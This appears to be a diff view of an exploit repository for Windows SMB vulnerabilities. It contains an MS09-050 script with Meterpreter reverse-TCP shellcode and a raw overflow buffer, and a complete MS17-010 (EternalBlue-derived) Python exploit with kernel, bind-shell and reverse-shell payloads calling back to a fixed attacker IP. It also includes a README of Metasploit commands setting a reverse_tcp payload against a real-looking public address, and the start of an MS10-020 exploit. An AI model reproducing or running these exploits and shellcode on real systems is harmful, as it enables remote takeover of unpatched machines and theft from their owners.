#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f python
shell = ""
shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" #fce8820000006089e531c0648b
shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01"
shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += "\x53\xff\xd5"
host = target, 445
buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address
#stager_sysenter_hook from metasploit
buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"
buff+=shell
s = socket()
s.connect(host)
s.send(buff)
s.close()
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
97-Windows提权/MS09-050/41987.py
+133
View File
@@ -0,0 +1,133 @@
# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team - http://www.kpn.com
# Date and time of release: May, 9 2017 - 13:00PM
# Found this and more exploits on my open source security project: http://www.exploitpack.com
#
# MS17-010 - https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
# Tested on: Microsoft Windows Server 2008 x64 SP1 R2 Standard
#
# Description: SMBv1 SrvOs2FeaToNt OOB is prone to a remote code execution
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input. Srv.sys process SrvOs2FeaListSizeToNt
# and when the logic is not correct it leads to a cross-border copy. The vulnerability trigger point is as follows:
#
# Vulnerable code:
# unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
# {
# int v4; // edi@1
# _BYTE *v5; // edi@1
# unsigned int result; // eax@1
#
# v4 = a1 + 8;
# *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
# *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);
# *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);
# _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));
# v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);
# *v5++ = 0;
# _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6));
# result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC;
# *(_DWORD *)a1 = result - a1;
# return result;
# }
#
# Impact: An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts could result in a
# denial-of-service condition.
#
# Timeline:
# 04/05/2017 - Research started
# 04/05/2017 - First PoC using original code
# 05/05/2017 - Kernel debugging on Windows 2008
# 05/05/2017 - Exploit code first draft
# 06/05/2017 - Functional PoC
# 07/05/2017 - Added support for Zerosum0x0 shellcode
# 08/05/2017 - Code revisited and bugs fixed
# 09/05/2017 - First successful shell
# 09/05/2017 - Exploit tested in QA Laba
# 09/05/2017 - Exploit code final review
# 09/05/2017 - Publish
#
# Vendor homepage: http://www.microsoft.com
# This exploit is a port from the amazing work made by Risksense. Checkout the original project at: https://github.com/RiskSense-Ops/MS17-010
# Credits: @EquationGroup @ShadowBrokers @progmboy @zerosum0x0 @juansacco
#
# How to run: python3 ms17010.py ipaddress
#
import sys
import socket
import time
import ast
import binascii
import os
def mod_replay():
datfile = ["('connect', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00', 0.0)", "('recv', 1, 0.0)", "('send', 1, b'\\x00\\x00\\x00\\x88\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00@\\x00\\r\\xff\\x00\\x88\\x00\\x04\\x11\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\x00K\\x00\\x00\\x00\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x002\\x000\\x000\\x000\\x00 \\x002\\x001\\x009\\x005\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x002\\x000\\x000\\x000\\x00 \\x005\\x00.\\x000\\x00\\x00\\x00', 0.0)", "('recv', 1, 'userid', 0.0)", "('send', 1, b'\\x00\\x00\\x00X\\xffSMBu\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x04\\xff\\x00X\\x00\\x08\\x00\\x01\\x00-\\x00\\x00\\\\\\x00\\\\\\x001\\x007\\x002\\x00.\\x001\\x006\\x00.\\x009\\x009\\x00.\\x005\\x00\\\\\\x00I\\x00P\\x00C\\x00$\\x00\\x00\\x00?????\\x00', 0.0)", "('recv', 1, 'treeid', 0.0)", "('send', 1, b'\\x00\\x00\\x048\\xffSMB\\xa0\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\x14\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\xd0\\x03\\x01\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00K\\x00\\x00\\x00\\xd0\\x03\\x00\\x00h\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xec\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\Line truncated
datfile = [ast.literal_eval(i) for i in datfile]
orig_shellcode = binascii.unhexlify(b'31c040907408e809000000c22400e8a7000000c3e801000000eb905bb9760100000f32a3fcffdfff8d431731d20f30c3b9230000006a300fa18ed98ec1648b0d400000008b6104ff35fcffdfff609c6a23529c6a0283c2089d804c2401026a1bff350403dfff6a0055535657648b1d1c0000006a3b8bb324010000ff3331c04889038b6e286a0183ec4881ed9c020000a1fcffdfffb97601000031d20f30fbe811000000fa648b0d400000008b610483ec289d61c3e9ef000000b9820000c00f3248bbf80fd0ffffffffff8953048903488d050a0000004889c248c1ea200f30c30f01f865488924251000000065488b2425a801000050535152565755415041514152415341544155415641576a2b65ff34251000000041536a33514c89d14883ec08554881ec58010000488dac248000000048899dc00000004889bdc80000004889b5d000000048a1f80fd0ffffffffff4889c248c1ea204831dbffcb4821d84831c9b9820000c00f30fbe838000000fa65488b2425a80100004883ec78415f415e415d415c415b415a415941585d5f5e5a595b5865488b2425100000000f01f8ff2425f80fd0ff31c040900f84b5050000e800000000586089c389e583ec48648b0d38000000668b4106c1e010668b01662500f08b086681f94d5a74072d00100000ebf08945fc5389c3b9940169e3e83e0100008945f8b9855483f0e8310100008945f4b92e5b51d2e8240100008945ec5b8d55e831c9890a526a00526a0bffd08b55e885d20f8402010000526a00ff55f885c00f84f4000000506a00ff75e8506a0bff55ec85c00f85e000000058502dfc000000051c01000050e880010000b9fa3cadc239c8741eb91abd4b2b39c87415588b55e881ea1c0100000f8cac0000008955e8ebce588b70ecff55f489f05050682e6461746a61e82702000085c00f84880000005883e940e85a02000085c074158b16c1ea1889f0c1e81839d075078b464885c0740a83c60483e904e35eebd88975f05668f80f00006a00ff55f885c0744a5089c731c089c16681c10004f3ab5889008b550489500431d78b55f889500831d78b55f489500c31d78b55f089501031d789782483c04889c78db396030000b91a020000f3a45b89433889ec61c3535251575589e583ec1889cf89d88945fce87a00000085c0746d8945f8e8ee0000008945f48b45fc8b4df8e80e01000085c074538945f08b45fc8b4df8e80401000085c074418945ec8b45fc8b4df8e8fa00000085c0742f8945e88b45fc89f98b55ec8b5df4e8ab00000085c0741889c18b45e8e8dd0000006689c28b45fc8b4df0e8d700000083c4185d5f595a5bc35689c683c63c8b3601c666813e5045750983c6788b3601f05ec331c0ebfa56515789c631c089c7c1e70729c789f831c98a0e80f900740501c846ebe95f595ec356575289c631c089c7c1e70729c789f831d28a1601d046e2ee5a5f5ec356515789c631c089c7c1e70729c789f831c98a0e80f90074c601c84646ebe85f595ec383c0188b00c357565131ff89c639df74198b04ba01f0e883ffffff39c8740747ebeb595e5fc389f8ebf831c0ebf483c11c8b0901c8c383c1208b0901c8c383c1248b0901c8c3d1e101c8668b00c381e2ffff0000c1e20201d18b0901c8c352568b74240c8b4c241031d2d1e985c9740cc1c205ac460c2030c249ebf089d05e5ac20800585a5f5e505689f083c63c8b3601c631c089c1668b4e06668b461401c683c61885c9741d8b0639f875078b460439d0740683c62849ebe98b460c8b4e085e01c6c331f6c36031c083f80f741e31c98b3c868b148e39d774034175f30fb694038703000039d1750d40ebdd4139c875056131c040c36131c0c3000102030405060708090a09090d0e8b4c240860e8000000005d6681e500f0894d34e8d9010000e843010000e87f01000085c00f84e30000008b5d3c8b4bd8e8170100003c23740d3c77741c3cc87422e9b60000008b4d388b452489410e31c0884112e99f000000e813010000e9b50000008b5d3c8b43e88b303375288b7808337d288b40043345283b431089c3757b8b4d3039f18b452c7418e8f20000008d4604506a00ff550885c0746389452c89753001df39f7775329df01c75789f28b753c8b76f089d9f3a45e89d9c1e9028b5d28311e83c604e2f901d039c67c288b452c6089e650ffd089f461e8a10000008b4524d1e831c988c101e98b0931c8894524e868000000b010eb08b020eb04b030eb008b4d38b4006601411e8b45108944241c61ff603c8d45488b4d0c89884701000089a83e01000066b810008b4d386601411e8b45108944241c6168000000008b403c506800000000c331c088c8c1e90800c8c1e90800c8c1e90800c8c3518b452489c10fc9d1e031c889452859c360e80b0000008b45108b483c89483861c3608b5d2c85db740d31c089df8b4d30f3aa53ff550c31c089453089452c61c357525689cf8b55448b0ae83900000085c0750e83c2088b0ae82b00000085c07421894d446a0c588d71543b06740783c6043b06750d3b4604750889753c31c040eb0231c05e5a5fc331c039c17d0140c3525131d2668b510201ca3b11740583c104ebf75a8d411c83c00724f88945448b41f889453889d15ac35355575641544155415641574889e54881ec800000006683e4f0e883030000488945f84889c3b92e5b51d2e8ee0100004885c00f84d50100004889c6b9940169e3e8d80100004885c00f84bf010000488945f04889c7b9855483f0e8be0100004885c00f84a5010000488945e84c8d4dd04d31c04c89c1448945d04c89c2b10bffd6448b45d04585c00f847f0100008b55d04831c9ffd74885c00f846e0100004889c34831c94989c9448b45d04889c2b10bffd64885c00f85510100004889d8482df80000004805280100008b55d081ea280100000f8c330100008955d050e83f0200004889c258b9fa3cadc24839ca740ab91abd4b2b4839ca75ca488b70e84889d9ff55e84889f04831d24889c38b503c4801d04889c64831c94889ca668b4806668b50144801d64883c61848bf2e646174610000004883f9000f84cd000000488b064839f874094883c62848ffc9ebe58b460c8b4e084801c648bbfefefefefefefefe4883e9084883f9000f8c9b000000488b3e4839df750c4c8b86980000004d85c074064883c608ebd84883c608488975e04831c9baf00f0000ff55f04885c074694989c14831c0b9000400004c89cff3ab4c89cf4883c760488d35910200004831c966b93602f3a44d8909488b5df8498959084831df488b5df0498959104831df488b5de8498959184831df488b5de0498959204831df41897944488b45e04883c0704983c1604c890848')
# ASM Multi-Arch Kernel Ring 0 Shellcode by ZeroSum0x0: https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
# Modification to this shellcode:
# Code has been modified to call "KeUnstackDetachProcess" aproper KeUnstackDetachProcess routine detaches the current thread from the address space of a process and restores the previous attach state.
# Every successful call to KeStackAttachProcess must be matched by a subsequent call to KeUnstackDetachProcess.
kernel_shellcode = binascii.unhexlify(b'b9820000c00f3248bbf80fd0ffffffffff8953048903488d050a0000004889c248c1ea200f30c30f01f865488924251000000065488b2425a801000050535152565755415041514152415341544155415641576a2b65ff34251000000041536a33514c89d14883ec08554881ec58010000488dac248000000048899dc00000004889bdc80000004889b5d000000048a1f80fd0ffffffffff4889c248c1ea204831dbffcb4821d84831c9b9820000c00f30fbe839000000fa65488b2425a80100004883ec78415f415e415d415c415b415a415941585d5f5e5a595b5865488b2425100000000f01f83eff2425f80fd0ff56415741564155415453554889e56683e4f04883ec204c8d35e3ffffff654c8b3c25380000004d8b7f0449c1ef0c49c1e70c4981ef00100000498b376681fe4d5a75ef41bc2004000031db89d983c10481f9000001000f8d5e0100004c89f289cb41bb6655a24be8b401000085c075db498b0e41bba36f722de8a20100004889c6e8480100004181f9bf771fdd75bc498b1e4d8d6e104c89ea4889d941bbe52411dce8790100006a4068001000004d8d4e0849c701001000004d31c04c89f231c948890a48f7d141bb4bca0aee4883ec20e84a010000498b3e488d35e900000031c966030dd70100006681c1f900f3a44889de4881c6080300004889f1488b114c29e251524889d14883ec2041bb2640369de8090100004883c4205a594885c07418488b80c80200004885c0740c4883c24c8b020fbae0057205488b09ebbe4883ea4c4989d431d280c29031c941bb26ac5091e8c80000004889c14c8d898000000041c601c34c89e24989c44d31c041506a01498b065041504883ec2041bbacce554be89800000031d25252415841594c89e141bb1838099ee8820000004c89e941bb22b7b37de8740000004889d941bb0de24d85e8660000004889ec5d5b415c415d415e415f5ec3e9b50000004d31c931c0ac41c1c90d3c617c022c204101c138e075ecc331d265488b5260488b5218488b5220488b12488b7250480fb74a4a4531c931c0ac3c617c022c2041c1c90d4101c1e2ee4539d975da4c8b7a20c34c89f8415141505251564889c28b423c4801d08b80880000004801d0508b4818448b40204901d048ffc9418b34884801d6e878ffffff4539d975ec58448b40244901d066418b0c48448b401c4901d0418b04884801d05e595a41584159415b4153ffe0564157554889e54883ec2041bbda16af92e84dffffff31c95151515141594c8d051a0000005a4883ec2041bb46451b22e868ffffff4889ec5d415f5ec3')
# Shellcode TCP Bind port: 1337 size 484 bytes
bindtcp_shellcode = binascii.unhexlify(b'fc4881e4f0ffffffe8cc000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b020f85720000008b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e54831c0505049c7c40200053941544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a025950504d31c94d31c048ffc04889c241baea0fdfe0ffd54889c76a1041584c89e24889f941bac2db3767ffd54831d24889f941bab7e938ffffd54d31c04831d24889f941ba74ec3be1ffd54889f94889c741ba756e4d61ffd54881c4b00200004883ec104889e24d31c96a0441584889f941ba02d9c85fffd54883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd54801c34829c64885f675e141ffe758')
# Shellcode TCP Reverse to 192.168.125.133 1337
reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')
shellcode = reversetcp_shellcode
new_shellcode = kernel_shellcode + int(len(shellcode)).to_bytes(2,'little') + shellcode
to_replace = orig_shellcode[:len(new_shellcode)]
new_datfile = []
for i in datfile:
if i[0] != 'send':
new_datfile.append(i)
continue
j = list(i)
j[2] = j[2].replace(to_replace,new_shellcode)
new_datfile.append(tuple(j))
open("smb.dat","w").write("\n\n".join([repr(i) for i in new_datfile]))
def main(hostip):
# Modify original .dat file and add/replace Kernel Shellcode by Zerosum0x0 + User Shellcode
mod_replay()
# Read dat file and send it over
dattosend = open("smb.dat").read().split("\n\n")
dattosend = [ast.literal_eval(i) for i in dattosend]
connections = []
userid = b'\x00\x08'
treeid = b'\x00\x08'
start = time.monotonic()
for i in dattosend:
delta = i[-1] - (start - time.monotonic())
if delta > 0:
time.sleep(delta)
start = time.monotonic()
if i[0] == "connect":
sock = socket.socket()
sock.connect((hostip,445))
connections.append({"socket":sock,"stream" : i[1]})
if i[0] == "close":
[j['socket'].close() for j in connections if j["stream"] == i[1]]
if i[0] == "send":
data = i[2].replace(b"__USERID__PLACEHOLDER__", userid)
data = data.replace(b"__TREEID__PLACEHOLDER__", treeid)
[j['socket'].send(data) for j in connections if j["stream"] == i[1]]
if i[0] == "recv":
data = [j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
if len(i) > 3:
if i[2] == "treeid":
treeid = data[0][28:30]
if i[2] == "userid":
userid = data[0][32:34]
os.remove("smb.dat")
print("[*] Thanks NSA!")
print("[*] Creditz: @EquationGroup @ShadowBrokers @progmboy @zerosum0x0 @juansacco")
print("[*] KPN Red team: <[email protected]>")
if __name__ == "__main__":
print("[*] MS17-010 Exploit - SMBv1 SrvOs2FeaToNt OOB")
print("[*] Exploit running.. Please wait")
main(sys.argv[1])
97-Windows提权/MS09-050/README.md
+43
View File
@@ -0,0 +1,43 @@
# MS09-050
```
This module exploits an out of bounds function table dereference in the SMB
request validation code of the SRV2.SYS driver included with Windows Vista,
Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2.
Windows Vista without SP1 does not seem affected by this flaw.
```
Vulnerability reference:
* [MS09-050](https://technet.microsoft.com/library/security/ms09-050)
* [CVE-2009-2532](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2532)
## Usage
```
msf > search MS09_050
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > options
msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 110.196.193.102
msf exploit(ms09_050_smb2_negotiate_func_index) > run
```
## load the module within the Metasploit console
[msf](https://www.rapid7.com/db/modules/exploit/windows/smb/ms09_050_smb2_negotiate_func_index)
```
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
...targets...
msf exploit(ms09_050_smb2_negotiate_func_index) > set TARGET <target-id>
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
...show and set options...
msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
```
## References
[MS09-050漏洞测试](http://edu.aqniu.com/group/30/thread/107)
[MS09-050 vulnerability](https://www.youtube.com/watch?v=cytEOUQ6QsI)
97-Windows提权/MS10-012/MS10-012.txt
+1742
View File
File diff suppressed because it is too large. Load diff
97-Windows提权/MS10-012/MS10-020.py
+146
View File
@@ -0,0 +1,146 @@
import sys,SocketServer
# Windows 7/2008R2 SMB Client Trans2 stack overflow (MS10-020)
# Date: 17/04/10
# Author: Laurent Gaffié
# Tested on: Windows 7/2008R2
# CVE: CVE-2010-0270
